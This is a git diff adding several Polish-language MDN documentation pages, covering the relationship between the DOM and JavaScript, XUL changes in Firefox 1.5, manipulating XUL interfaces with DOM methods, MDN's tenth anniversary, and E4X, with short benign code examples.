+ <p><span class="alllinks"><a href="/pl/docs/tag/DOM">Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h2 class="Community" id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h2>
+ <ul>
+ <li>Obejrzyj fora Mozilli... {{ DiscussionList("dev-tech-dom", "mozilla.dev.tech.dom") }}</li>
+ </ul>
+ <h2 class="Tools" id="Narz.C4.99dzia" name="Narz.C4.99dzia">Narzędzia</h2>
+ <ul>
+ <li><a class="external" href="http://www.getfirebug.com/">Firebug</a></li>
+ <li><a href="/pl/docs/Inspektor_DOM">Inspektor DOM</a></li>
+ <li><a class="external" href="http://slayeroffice.com/tools/modi/v2.0/modi_help.html">Mouse-over DOM Inspector</a></li>
+ <li><a class="external" href="http://www.karmatics.com/aardvark/">Aardvark - rozszerzenie Firefoksa</a></li>
+ </ul>
+ <p><span class="alllinks"><a href="/pl/docs/tag/DOM:Narzędzia">Pokaż wszystkie...</a></span></p>
+ <h2 class="Related_Topics" id="Powi.C4.85zane_tematy" name="Powi.C4.85zane_tematy">Powiązane tematy</h2>
+ <ul>
+ <li><a href="/pl/docs/AJAX">AJAX</a>, <a href="/pl/docs/CSS">CSS</a>, <a href="/pl/docs/DHTML">DHTML</a>, <a href="/pl/docs/JavaScript">JavaScript</a></li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/pl/dom_i_javascript/index.html b/files/pl/dom_i_javascript/index.html
new file mode 100644
index 0000000000..daf079833b
--- /dev/null
+++ b/files/pl/dom_i_javascript/index.html
@@ -0,0 +1,86 @@
+---
+title: DOM i JavaScript
+slug: DOM_i_JavaScript
+tags:
+ - DOM
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<h3 id="Og.C3.B3lne_poj.C4.99cie" name="Og.C3.B3lne_poj.C4.99cie">Ogólne pojęcie</h3>
+
+<p>Efekty wizualne takie jak przesuwanie warstw na stronie, pokazywanie i ukrywanie ich, wyskakujące menu itd., są często określane pojęciami „<a href="/pl/DHTML" title="pl/DHTML">DHTML</a>” lub „Dynamiczny HTML”. Niektórzy kwestionują zasadność użycia tych technologii na stronach, które powinny przecież obejmować treść, a nie prezentację. Ale faktem jest, że technologie te nadal istnieją.</p>
+
+<p>Od kiedy pracuję nad tym projektem i mam kontakty z wieloma webmasterami, uderza mnie to, że duża ich część nie wie jak ich DHTML tak naprawdę działa. Większość z nich po prostu odnalazło stronę z repozytorium skryptów i skopiowali stamtąd kod na swoją stronę. Niestety, większość takich stron mówi o „JavaScripcie” i „DHTML-u”, jednak nigdy o „<a href="/pl/DOM" title="pl/DOM">DOM</a>”. Prawdą jest, że nawet jeśli DOM jest pomysłem starym, to pojęcie to weszło w „żargon przeciętnego webmastera” dopiero niedawno.</p>
+
+<p>Wielkim wyzwaniem dla projektów takich jak Mozilla jest by przekonać właścicieli tego typu stron, że warto kodować według W3C DOM (co oznacza niekiedy wiele mozolnej pracy czy utrata wsparcia dla starszych przeglądarek). Dużym wyzwaniem jest również zebrać wszystkie fakty w prosty sposób związane ze wsparciem dla W3C DOM. Netscape 6 był mocno krytykowany przez niezdarnych projektantów internetowych, którzy pisali swój kod „JavaScript” pod Netscape'a 4 oraz Internet Explorera używając <code>document.layers</code> i <code>document.all</code>. Każdego dnia staramy się pomagać ludziom na grupach newsowych, poprzez e-maile, Bugzillę, by ich strony były jak najbardziej zgodne ze standardami. Jednym z największych problemów jakie napotykamy, jest zamieszanie związane z <a href="/pl/JavaScript" title="pl/JavaScript">JavaScriptem</a>, <a href="/pl/DHTML" title="pl/DHTML">DHTML-em</a> oraz <a href="/pl/DOM" title="pl/DOM">DOM</a>. Ten dokument jest próbą wyjaśnienia tych problemów, wyjaśnienia relacji pomiędzy tymi wymyślnymi oraz przydatnymi technologiami.</p>
+
+<h3 id="JavaScript_-_sieciowy_j.C4.99zyk_skryptowy" name="JavaScript_-_sieciowy_j.C4.99zyk_skryptowy">JavaScript — sieciowy język skryptowy</h3>
+
+<p><a href="/pl/JavaScript" title="pl/JavaScript">JavaScript</a> jest „obiektowym językiem skryptowym” początkowo opracowanym w Netscape Communications Corp. przez Brendana Eicha (który jest obecnie jednym z liderów projektu Mozilla). Silnik JavaScript używany przez Mozillę to <a href="/pl/SpiderMonkey" title="pl/SpiderMonkey">SpiderMonkey</a>, zgodny z 3 rewizją specyfikacji ECMA-262. JavaScript jest również znany jako <a href="/pl/ECMAScript" title="pl/ECMAScript">ECMAScript</a> (zobacz odsyłacz, aby uzyskać więcej informacji).</p>
+
+<p>Wbrew popularnemu przekonaniu, JavaScript nie jest „interpretowaną Javą”. Wewnątrz JavaScript jest dynamicznym językiem skryptowym wspierającym prototypową konstrukcję obiektów. Podstawowa składnia jest świadomie podobna do tej znanej z Javy i C++, by zminimalizować liczbę nowych pojęć potrzebnych do opanowania języka. Świetną rzeczą jest to, że jest on bardzo łatwy do nauczenia się, jeśli chcesz zajmować się prostszymi rzeczami (jak na przykład te w prostym DHTML-u). Niewidoczne typy zmiennych, niezwykle proste w użyciu łańcuchy znakowe, całkowita neutralność platformowa itd. Dla bardziej zaawansowanych programistów funkcjonuje on również jako język zarówno obiektowy jak i proceduralny.</p>
+
+<p>Odkryjesz, że większość informacji o JavaScripcie w tym akapacie pochodzi ze <a class="external" href="http://mozilla.org/js">strony Mozilla JavaScript</a>. Najnowsza wersja specyfikacji ECMA znajduje się <a class="external" href="http://www.mozilla.org/js/language/">tutaj</a>.</p>
+
+<h3 id="Obiektowy_Model_Dokumentu.2C_neutralnie_j.C4.99zykowo_zestaw_interfejs.C3.B3w" name="Obiektowy_Model_Dokumentu.2C_neutralnie_j.C4.99zykowo_zestaw_interfejs.C3.B3w">Obiektowy Model Dokumentu, neutralnie językowo zestaw interfejsów</h3>
+
+<p>JavaScript jest językiem programowania, który pozwala Ci działać na obiektach DOM i manipulować nimi programowo, DOM natomiast dostarczy Ci metod oraz własności do pobierania, modyfikowania, uaktualniania i usuwać części dokumentu nad którym pracujesz. Przykładowo, możesz pobrać wartość pola tekstowego jako łańcuch znaków używając DOM. Następnie możesz użyć operatora JavaScript <code>+</code>, by połączyć go z innym łańcuchem znaków i stworzyć z tego sensowną treść. Gdy to zrobisz, możesz użyć metody DOM <code>alert()</code>, aby wyświetlić użytkownikowi nowy łańcuch znaków w oknie dialogowym. Zobacz również poniższe przykłady</p>
+
+<p>Jeśli strona internetowa byłaby importowanym szwedzkim meblem, DOM byłby ilustracjami jego elementów — półek, uchwytów, gwoździ oraz śrubokrętów. Możliwe jest napisanie instrukcji jak połączyć je w całość i używać tych elementów, instrukcji w wielu językach, ale Ty użyjesz tylko tego, który rozumiesz. Podręcznik ułatwia Ci złożenie tego mebla przy użyciu napisanych instrukcji (JavaScript) odwołujących się do przedstawionych ilustracji elementów (DOM), które reprezentują faktyczne obiekty (silnik renderujący przeglądarki) (dzięki Jonathanowi za analogię!).</p>
+
+<p>Czym jest ten cały szum wokół neutralności językowej i DOM? Dlaczego DOM jest językowo neutralny, skoro jedynym językiem używanym razem z nim jest JavaScript? No cóż, nie jest to do końca prawda. Na przykład, Mozilla używa wewnętrznie DOM jednocześnie z C++ i JavaScriptem w interfejsie użytkownika. Z kolei edytor używa DOM w celu wstawiania, modyfikowania i usuwania kodu HTML, który widzisz w fazie tworzenia strony w module Kompozytora. Inne znane implementacje DOM zawierają <a class="external" href="http://users.erols.com/enno/index.html">Perl</a>, <a class="external" href="http://www.docuverse.com/domsdk/index.html">Java</a>, <a class="external" href="http://www.vivid-creations.com/dom/index.htm">ActiveX</a>, <a class="external" href="http://fourthought.com/4Suite/4DOM">Python</a> oraz prawdopodobnie wiele innych. To wszystko możliwe jest tylko i wyłącznie dzięki neutralności językowej DOM.</p>
+
+<h3 id="DOM_a_JavaScript_-_Co_robi_co.3F" name="DOM_a_JavaScript_-_Co_robi_co.3F">DOM a JavaScript — Co robi co?</h3>
+
+<p>Docieramy do głównego gwoździa programu: Co robi co? Czym jest DOM, a czym JavaScript, w skrypcie, który zawarłem na mojej stronie? Spójrzmy bliżej na prosty przykład. Pobierze on wszystkie znaczniki <span class="nowiki">&lt;a&gt;</span> w listę węzłów (<code>NodeList</code>), którą nazwalismy <code>anchorTags</code>. Wtedy dla każdego znacznika kotwicy (każdy element z listy węzłów <code>anchorTags</code>) pojawi się komunikat z wartością atrybutu <code>href</code>.</p>
+
+<p>Kolor niebieski oznacza JavaScript, czerwony — DOM.</p>
+
+<pre class="eval"><span class="highlightblue">var anchorTags = <span class="highlightred">document.getElementsByTagName("a")</span>;
+for (var i = 0; i &lt; <span class="highlightred">anchorTags.length</span> ; i++)
+{
+ <span class="highlightred">alert</span>("Atrybut href dla " + i + " elementu to: " + <span class="highlightred">anchorTags[i].href</span> + "\n");
+}</span>
+</pre>
+
+<h4 id="Wyja.C5.9Bnienia" name="Wyja.C5.9Bnienia">Wyjaśnienia</h4>
+
+<p>Ten fragment kodu wyjaśnia czym jest prawdziwy JavaScript, a czym DOM.</p>
+
+<dl>
+ <dt><span class="highlightblue">var anchorTags =</span></dt>
+ <dd>To utworzy zmienną JavaScript o nazwie „<code>anchorTags</code>”.</dd>
+ <dt><span class="highlightred">document.getElementsByTagName("a")</span></dt>
+ <dd>Interfejs <code>Document</code> jest pierwszym interfejsem zdefiniowanym w DOM1 Core, a <code>document</code> jest głównym obiektem implementującym ten interfejs. Dokument przechowuje wszystko, co znajduje się na Twojej stronie.<br>
+ DOM1 Core definiuje metodę <code>getElementsByTagName()</code> w interfejsie <code>Document</code>. Pobiera ona do listy węzłów (<code>NodeList</code>, rodzaj specyficznej dla DOM tablicy, która przechowuje węzły) wszystkie znaczniki, które odpowiadają przekazanemu parametrowi (w kolejności występowania w źródle dokumentu). Tym samym <code>anchorTags</code> jest teraz listą węzłów.</dd>
+ <dt><span class="highlightblue">;</span></dt>
+ <dd>Średnik kończący instrukcję w JavaScripcie.</dd>
+ <dt><span class="highlightblue">for (var i = 0; i &lt;</span></dt>
+ <dd>Typowa pętla „for” znana z wielu innych języków programowania. Pozwoli ona nam na przejście przez każdy węzeł zawarty w liście węzłów <code>anchorTags</code>. Zwróć uwagę na deklarację zmiennej „<code>i</code>”. To również JavaScript.</dd>
+ <dt><span class="highlightred">anchorTags.length</span></dt>
+ <dd>DOM1 Core definiuje własność <code>length</code> interfejsu <code>NodeList</code>. Zwraca ona liczbę całkowitą będącą ilością węzłów przechowywanych w liście węzłów. Zauważ, że tablica JavaScript również posiada <a href="/pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Array/length" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Array/length">własność <code>length</code></a>.</dd>
+ <dt><span class="highlightblue">; i++) {</span></dt>
+ <dd>Typowa instrukcja JavaScript powiększająca wartość zmiennej o 1.</dd>
+ <dt><span class="highlightred">alert(</span></dt>
+ <dd><code>alert()</code> jest metodą DOM, która pokazuje okno dialogowe z przekazanym parametrem (łańcuchem znaków). Zwróć uwagę, że metoda ta jest częścią tzw. poziomu 0 DOM poziomu 0 lub DOM0. DOM0 jest zbiorem interfejsów obsługiwanych przez niektóre przeglądarki, ale które nie są częścią żadnej specyfikacji DOM.</dd>
+ <dt><span class="highlightblue">"Atrybut href dla " + i + " elementu to: "</span></dt>
+ <dd>Literały znakowe oraz operator ich łączenia (konkatenacji). JavaScript.</dd>
+ <dt><span class="highlightred">anchorTags{{ mediawiki.external('i') }}.href</span></dt>
+ <dd>„<code>href</code>” jest własnością interfejsu <code>HTMLAnchorElement</code> zdefiniowanego w specyfikacji HTML DOM1. Zwraca wartość atrybutu <code>href</code> odnośnika, jeśli wartość ta istnieje.<br>
+ Używamy również <code>anchorTags{{ mediawiki.external('i') }}</code>, tej samej składni, która w JavaScripcie używana jest przy dostępie do <code>i</code>-tego elementu tablicy. Neutralnie językowym sposobem jest używanie metody <code>item()</code>, zdefiniowanej w interfejsie <code>NodeList</code>): <code>anchorTags.item(1).href</code>. Jednak większość implementacji JavaScriptu pozwala na używanie prostszej, tablicowej składni i takiej właśnie używa większość ludzi.</dd>
+ <dt><span class="highlightblue">+ "\n");</span></dt>
+ <dd>Kolejne łączenie łańcuchów znaków. Wstawienie znaku powrotu karetki na końcu łańcucha znaków.</dd>
+ <dt><span class="highlightblue">}</span></dt>
+ <dd>Koniec pętli „for”.</dd>
+</dl>
+
+<div class="originaldocinfo">
+<p><strong>Informacje o oryginalnej wersji dokumentu</strong></p>
+
+<ul>
+ <li>Autor: Fabian Guisset &lt;fguisset at softhome dot net&gt;</li>
+ <li>Informacja prawna: © 1998-2005 by individual mozilla.org contributors; treść dostępna pod licencją <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons</a></li>
+</ul>
+</div>
+
+<p>{{ languages( { "en": "en/The_DOM_and_JavaScript", "fr": "fr/Le_DOM_et_JavaScript", "ja": "ja/The_DOM_and_JavaScript" } ) }}</p>
diff --git a/files/pl/dostosowanie_aplikacji_xul_do_firefoksa_1.5/index.html b/files/pl/dostosowanie_aplikacji_xul_do_firefoksa_1.5/index.html
new file mode 100644
index 0000000000..32337d1c31
--- /dev/null
+++ b/files/pl/dostosowanie_aplikacji_xul_do_firefoksa_1.5/index.html
@@ -0,0 +1,35 @@
+---
+title: Dostosowanie aplikacji XUL do Firefoksa 1.5
+slug: Dostosowanie_aplikacji_XUL_do_Firefoksa_1.5
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+ - XUL
+translation_of: Mozilla/Firefox/Releases/1.5/Adapting_XUL_Applications_for_Firefox_1.5
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>Strona zawiera listę zmian w <a href="pl/Firefox_1.5">Firefoksie 1.5</a> wpływających na pracę programistów XUL.</p>
+
+<h3 id="Zmiany">Zmiany</h3>
+
+<ul>
+ <li><a href="pl/Zmiany_w_drzewie_API">Zmiany w drzewie API</a></li>
+ <li><a href="pl/Mi%c4%99dzynarodowe_pismo_w_XUL_JavaScript">Międzynarodowe pismo w XUL JavaScript</a> (wpływa wyłącznie na rozszerzenia z plikami JavaScript zawierającymi znaki non-ASCII)</li>
+ <li><a href="pl/Zmiany_XMLHttpRequest_dla_Gecko_1.8">Zmiany w XMLHttpRequest</a></li>
+ <li><a href="pl/Zmiany_w_XUL-u_w_Firefoksie_1.5">Zmiany w XUL-u w Firefoksie 1.5</a></li>
+ <li><a href="pl/XPCNativeWrapper">XPCNativeWrapper</a> są domyślnie włączone, a ich działanie zmienione na podobne do działania w wersji 1.0.x</li>
+ <li>Prostsza metoda <a href="pl/Rejestracja_Chrome">rejestracji Chrome</a> przestarzałego contents.rdf.</li>
+ <li>Dla nakładek menu kontekstowego: nazwa funkcji &lt;tt&gt;gContextMenu.linkURL()&lt;/tt&gt; została zmieniona na &lt;tt&gt;gContextMenu.getLinkURL()&lt;/tt&gt;, a &lt;tt&gt;linkURL&lt;/tt&gt; jest teraz własnością. Aby użyć w trybie zgodności wstecznej:<br>
+ &lt;tt&gt;url = 'getLinkURL' in gContextMenu ? gContextMenu.getLinkURL() : gContextMenu.linkURL();&lt;/tt&gt;</li>
+</ul>
+
+<h3 id="Pozostałe_informacje">Pozostałe informacje</h3>
+
+<ul>
+ <li><a href="pl/Zastosowanie_nsIXULAppInfo">Jak sprawdzić wersję aplikacji poprzez zastosowanie nsIXULAppInfo</a></li>
+ <li><a class="external" href="http://kb.mozillazine.org/Dev_:_Extensions_:_Cross-Version_Compatibility_Techniques">MozillaZine</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/Adapting_XUL_Applications_for_Firefox_1.5", "fr": "fr/Adaptation_des_applications_XUL_pour_Firefox_1.5", "it": "it/Adattare_le_applicazioni_XUL_a_Firefox_1.5", "ja": "ja/Adapting_XUL_Applications_for_Firefox_1.5" } ) }}</p>
diff --git a/files/pl/dynamiczne_zmiany_interfejsu_użytkownika_bazującego_na_xul-u/index.html b/files/pl/dynamiczne_zmiany_interfejsu_użytkownika_bazującego_na_xul-u/index.html
new file mode 100644
index 0000000000..1a97e80e84
--- /dev/null
+++ b/files/pl/dynamiczne_zmiany_interfejsu_użytkownika_bazującego_na_xul-u/index.html
@@ -0,0 +1,81 @@
+---
+title: Dynamiczne zmiany interfejsu użytkownika bazującego na XUL-u
+slug: Dynamiczne_zmiany_interfejsu_użytkownika_bazującego_na_XUL-u
+tags:
+ - DOM
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+ - XUL
+---
+<p> </p>
+<p>Poniższy artykuł opisuje manipulacje interfejsami <a href="pl/XUL">XUL</a> używając <a href="pl/DOM">DOM</a> oraz innych API. Objaśnia koncepcję
+ <i>
+ dokumentów</i>
+ DOM, pokazuje kilka prostych przykładów manipulacji dokumentami DOM oraz objaśnia pracę z
+ <i>
+ anonimową treścią <a href="pl/XBL">XBL</a>-a</i>
+ używając metod Mozilli.</p>
+<p>Jest on napisany dla programistów początkujących i średnio zaawansowanych. Założono również, że czytelnik posiada podstawową wiedzę na temat XUL-a oraz JavaScriptu. Można również przejrzeć dokumenty wprowadzające do DOM, jak np. artykuł <a href="pl/O_modelu_obiektowym_dokumentu">O modelu obiektowym dokumentu</a> lub <a href="pl/Dokumentacja_Gecko_DOM/Wprowadzenie">strona wprowadzenia</a> na stronie <a href="pl/Dokumentacja_Gecko_DOM">Dokumentacja Gecko DOM</a>.</p>
+<h3 id="Wst.C4.99p" name="Wst.C4.99p">Wstęp</h3>
+<p><a href="pl/XUL">XUL</a> jest językiem <a href="pl/XML">XML</a>-a używanym w różnych aplikacjach bazujących na Mozilli (tj. Firefox lub Thunderbird) do opisu interfejsu użytkownika.W aplikacjach XUL-a <a href="pl/JavaScript">JavaScript</a> definiuje zachowanie używając <a href="pl/Dokumentacja_Gecko_DOM">API DOM</a> w celu uzyskania dostępu do dokumentu XUL-a.</p>
+<p>Czym są API DOM?</p>
+<p>Są one interfejsami używanymi do interakcji pomiędzy skryptem a dokumentem. Jeśli już napisałeś skrypt współpracujący z dokumentem XUL-a (lub HTML-a) to użyłeś wywołań DOM-a. Najbardziej znaną metodą DOM jest prawdopodobnie <code><a href="pl/DOM/document.getElementById">document.getElementById()</a></code> zwracająca element na podstawie jego <code>id</code>. Mogłeś użyć również innych wywołań jak <code><a href="pl/DOM/element.setAttribute">element.setAttribute()</a></code> lub też jeśli pisałeś rozszerzenie <code><a href="pl/DOM/element.addEventListener">addEventListener()</a></code>. Wszystkie one są zdefiniowane w DOM-ie.</p>
+<p>Istnieją też inne metody DOM, które tworzą, przenoszą lub usuwają elementy dokumentu. Zostaną one przedstawione w dalszych sekcjach. Teraz dowiedzmy się czym jest
+ <i>
+ dokument</i>
+ .</p>
+<h3 id="Czym_jest_dokument.3F" name="Czym_jest_dokument.3F">Czym jest dokument?</h3>
+<p>Dokument jest strukturą danych manipulowaną za pomocą API DOM. Strukturą logiczną jest drzewo, gdzie węzłami są elementy, atrybuty, instrukcje, komentarze itd. Użyj <a href="pl/Inspektor_DOM">Inspektor DOM</a> by zobaczyć reprezentacje dokumentu. <span class="comment">Todo: simple example of a XUL document and a tree</span></p>
+<p>Możesz myśleć o dokumencie jako o reprezentacji wewnątrz pamięci poprawnego kodu HTML lub XML (włącznie z XUL-em).</p>
+<p>Ważnym jest by pamiętać, że różne strony (lub nawet różne instancje wewnątrz tej samej strony) odpowiadają różnym dokumentom. Każde okno XUL-a posiada swój własny dokument, a nawet kilka różnych dokumentów w jednym oknie, gdyż są tam elementy jak <code>&lt;iframe&gt;</code>, <code>&lt;browser&gt;</code> lub <code>&lt;tabbrowser&gt;</code>. Musisz być pewny, że zawsze manipulujesz odpowiednim dokumentem (więcej możesz dowiedzieć się z <a href="pl/Working_with_windows_in_chrome_code">Working with windows in chrome code</a>). Jeśli twój skrypt jest załączany za pomocą znacznika <code>&lt;script&gt;</code>, wtedy własność <code>document</code> odnosi się do dokumentu DOM zawierającego tenże skrypt.</p>
+<h3 id="Przyk.C5.82ady:_Zastosowanie_metod_j.C4.99zyka_DOM" name="Przyk.C5.82ady:_Zastosowanie_metod_j.C4.99zyka_DOM">Przykłady: Zastosowanie metod języka DOM</h3>
+<p>Poniższa sekcja pokazuje użycie metod DOM: <code>appendChild()</code>, <code>createElement()</code>, <code>insertBefore()</code> oraz <code>removeChild()</code>.</p>
+<h4 id="Usuwanie_wszystkich_potomk.C3.B3w_element.C3.B3w" name="Usuwanie_wszystkich_potomk.C3.B3w_element.C3.B3w">Usuwanie wszystkich potomków elementów</h4>
+<p>Przykład usuwa wszystkich potomków elementu z aktualnego dokumentu posiadających id <code>"someElement"</code> przez wywołanie metody <code>removeChild()</code> w celu usunięcia pierwszego potomka, aż do momentu, gdy nie pozostanie więcej potomków.</p>
+<p>Zauważ, że <code>hasChildNodes()</code> i <code>firstChild</code> są również częścią API DOM.</p>
+<pre class="eval">var element = document.getElementById("someElement");
+while(element.hasChildNodes())
+ element.removeChild(element.firstChild);
+</pre>
+<h4 id="Dodawanie_pozycji_menu" name="Dodawanie_pozycji_menu">Dodawanie pozycji menu</h4>
+<p>Przykład dodaje dwa nowe elementy do &lt;menupopup&gt;: po jednym na początek oraz koniec. Używa metody <code>document.createElementNS()</code> do stworzenia elementów, a następnie <code>insertBefore()</code> oraz <code>appendChild()</code> do włączenia stworzonych elementów do dokumentu.</p>
+<p>Uwaga:</p>
+<ul>
+ <li><code>document.createElementNS()</code> tworzy element, ale nie umieszcza go nigdzie w dokumencie. Musisz użyć innych metod DOM, tj. <code>appendChild()</code>, do włączenia nowego elementu do dokumentu.</li>
+ <li><code>appendChild()</code> dołącza węzeł na końcu wszystkich węzłów, natomiast <code>insertBefore()</code> wkłada węzeł przed węzłem opisanym jego drugim parametrem.</li>
+</ul>
+<pre class="eval">function createMenuItem(aLabel) {
+ const XUL_NS = "<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>";
+ var item = document.createElementNS(XUL_NS, "menuitem"); // stwórz nowy element XUL menu
+ item.setAttribute("label", aLabel);
+ return item;
+}
+var popup = document.getElementById("myPopup"); // element &lt;menupopup&gt;
+var first = createMenuItem("Pierwsza pozycja");
+var last = createMenuItem("Ostatnia pozycja");
+popup.insertBefore(first, popup.firstChild);
+popup.appendChild(last);
+</pre>
+<p>Możesz użyć metod <code>appendChild()</code> i <code>insertBefore()</code> również do przesuwania istniejących elementów. Przykładowo możesz przenieść element nazwany "Pierwsza pozycja" na koniec menu poprzez dodanie poniższej linii na koniec kodu przedstawionego powyżej:</p>
+<pre class="eval">popup.appendChild(first);
+</pre>
+<p>Komenda usunie węzeł z aktualnej pozycji i doda go na końcu menu.</p>
+<h3 id="Anonimowa_tre.C5.9B.C4.87_.28XBL.29" name="Anonimowa_tre.C5.9B.C4.87_.28XBL.29">Anonimowa treść (XBL)</h3>
+<p><a href="pl/XBL">XBL</a> jest językiem używanym przez Mozillę do definiowania nowych interfejsów. Nowe interfejsy zdefiniowane przez XBL mogą określić pewną treść, wbudowaną do ograniczonego elementu, w przypadku gdy wiązanie jest dołączone. W tym przypadku nazywa się to
+ <i>
+ treścią anonimową</i>
+ , która nie jest dostępna za pomocą normalnych metod DOM.</p>
+<p>Należy wtedy używać metod interfejsu <code><a href="pl/NsIDOMDocumentXBL">nsIDOMDocumentXBL</a></code>. Przykładowo:</p>
+<pre class="eval">// pobiera pierwszego potomka danego węzła
+document.getAnonymousNodes(node)[0];
+
+// zwraca NodeList elementów anonimowych, których atrybut anonid równa się el1
+document.getAnonymousElementByAttribute(node, "anonid", "el1");
+</pre>
+<p>Patrz również <a href="pl/XBL/Dokumentacja_XBL_1.0/Interfejsy_DOM#getAnonymousNodes">getAnonymousNodes</a> oraz <a href="pl/XBL/Dokumentacja_XBL_1.0/Interfejsy_DOM#getAnonymousElementByAttribute">getAnonymousElementByAttribute</a>.</p>
+<p>Po otrzymaniu anonimowego węzła możesz używać normalnych metod DOM do nawigacji oraz manipulowania resztą węzłów tegoż wiązania.</p>
+<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3>
+<ul>
+ <li><a href="pl/Kurs_XUL/Modyfikowanie_interfejsu_XUL">Kurs XUL:Modyfikowanie interfejsu XUL</a></li>
+</ul>
diff --git a/files/pl/dziesiec_lat_mdn/index.html b/files/pl/dziesiec_lat_mdn/index.html
new file mode 100644
index 0000000000..c802ba1a07
--- /dev/null
+++ b/files/pl/dziesiec_lat_mdn/index.html
@@ -0,0 +1,43 @@
+---
+title: 10 lat MDN
+slug: dziesiec_lat_mdn
+tags:
+ - História
+ - Internet
+ - MDN
+ - Mozilla
+ - Społeczność
+translation_of: MDN_at_ten
+---
+<p class="hidden"><span class="seoSummary">Świętujemy 10 urodziny MDN</span></p>
+
+<div class="column-container">
+<div class="column-8">
+<h2 id="Historia_MDN">Historia MDN</h2>
+
+<p>Na początku 2005 roku mały zespół idealistów postanowił stworzyć nowe, darmowe, prowadzone przez społeczność źródło zasobów dla wszystkich Web developerów. Ich genialny ale niecodzienny pomysł przerodził się w dzisiejsze Mozilla Developer Network — główne źródło zasobów dla otwartych technologii Internetowych. Po dziesięciu latach nasza globalna społeczność jest większa niż kiedykolwiek i nadal wspólnie tworzymy dokumentacje, próbki kodu i materiały szkoleniowe dla wszystkich otwartych technologii włączając w to CSS, HTML, JavaScript i wszystkich innych, które sprawiają, że otwarty Internet jest tak potężny jak teraz.</p>
+
+<p><a class="learnmore" href="/en-US/docs/MDN_at_ten/History_of_MDN">Dowiedz się więcej <span class="offscreen">about the history</span></a></p>
+
+
+<h2 id="Pomóż_rozwijać_MDN">Pomóż rozwijać MDN</h2>
+
+<p>Przez dziesięć lat społeczność MDN zajmowała się dokumentowaniem otwartego Internetu. Od poprawiania literówek po dokumentowanie nowych API. Każdy ma coś do zaoferowania, żaden wkład nie jest zbyt mały ani zbyt duży. Posiadamy ponad 90,000 stron treści które zostały napisane i przetłumaczone przez członków wybitnej społeczności Mozillianów. Ty też możesz stać się jednym z nich.</p>
+
+<p><a class="learnmore" href="/en-US/docs/MDN_at_ten/Contributing_to_MDN">Dowiedz się więcej</a><a class="learnmore" href="/en-US/docs/MDN_at_ten/Contributing_to_MDN"> <span class="offscreen">about contributing</span></a></p>
+
+<p> </p>
+
+<p> </p>
+</div>
+
+<div class="column-4">{{TenthCampaignQuote}}</div>
+
+<h2 id="Nawigacja">Nawigacja</h2>
+
+<ol>
+ <li><a href="/en-US/docs/MDN_at_ten/">10 lat MDN</a></li>
+ <li><a href="/en-US/docs/MDN_at_ten/History_of_MDN">Historia MDN</a></li>
+ <li><a href="/en-US/docs/MDN_at_ten/Contributing_to_MDN">Pomóż rozwijać MDN</a></li>
+</ol>
+</div>
diff --git a/files/pl/e4x/index.html b/files/pl/e4x/index.html
new file mode 100644
index 0000000000..00855ac487
--- /dev/null
+++ b/files/pl/e4x/index.html
@@ -0,0 +1,39 @@
+---
+title: E4X
+slug: E4X
+tags:
+ - E4X
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/E4X
+---
+<p>
+<b>ECMAScript dla XML-a</b> (<b>E4X</b>) jest rozszerzeniem języka programowania, które dodaje natywną obsługę <a href="pl/XML">XML</a>-a do <a href="pl/JavaScript">JavaScript</a>-u poprzez dodanie dostępu do dokumentu XML w formie wygodnej dla programistów ECMAScript. Celem jest dostarczenie alternatywnej składni, prostszej do operowania na dokumentach XML niż przez interfejsy <a href="pl/DOM">DOM</a>.
+</p><p>E4X jest standaryzowane przez Ecma International w <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-357.htm">standardzie ECMA-357</a> (aktualnie jego drugiej edycji z grudnia 2005).
+</p><p>E4X jest zaimplementowane (przynajmniej częściowo) w <a href="pl/SpiderMonkey">SpiderMonkey</a> (silnik JavaScriptu w <a href="pl/Gecko">Gecko</a>) oraz w <a href="pl/Rhino">Rhino</a> (silnik JavaScriptu napisany w Javie).
+</p>
+<div class="note"><b>Uwaga:</b> W przeglądarkach opartych o Gecko 1.8, jak np. Firefoksie 1.5, E4X jest częściowo włączony dla autorów stron internetowych. Aby w pełni korzystać z E4X, element <code>&lt;script&gt;</code> musi posiadać typ MIME "text/javascript;e4x=1" (tzn. posiadać atrybut <code>type="text/javascript;e4x=1"</code>). Różnicą pomiędzy tymi dwoma trybami jest to, że bez typu MIME "e4x=1" dowolny, będący na poziomie instrukcji literał komentarza XML/HTML (<code><span class="nowiki">&lt;!--...--&gt;</span></code>) jest ignorowany dla kompatybilności wstecznej za pomocą sztuczki z ukrywaniem komentarza, a sekcje (<code>&lt;![CDATA{{ mediawiki.external('...') }}]&gt;</code>) nie są parsowane jako literały CDATA (co prowadziło do błędu składni JS w kodzie HTML, ponieważ element <code>&lt;script&gt;</code> tworzy ukrytą sekcję CDATA i w związku z tym nie może w sposób bezpośredni zawierać sekcji CDATA).
+<p><span class="comment">someone verify the above</span>
+</p>
+</div>
+<h3 id="Znane_b.C5.82.C4.99dy_i_ograniczenia" name="Znane_b.C5.82.C4.99dy_i_ograniczenia"> Znane błędy i ograniczenia </h3>
+<ul><li> Nie jest obecnie możliwe uzyskanie dostępu do obiektu DOM przez E4X ({{ Bug(270553) }})
+</li><li> E4X nie obsługuje parsowania deklaracji XML (<code>&lt;?xml version=...?&gt;</code>) (zobacz {{ Bug(336551) }}). Możesz otrzymać błąd składni "xml is a reserved identifier" (mimo że XML jest wewnątrz łańcucha znaków).
+</li></ul>
+<p>Sposoby obejścia:
+</p>
+<pre class="eval">var response = xmlhttprequest.responseText; // błąd 270553
+response = response.replace('&lt;?xml version="1.0"?&gt;', ""); // błąd 336551
+var e4x = new XML(response);
+</pre>
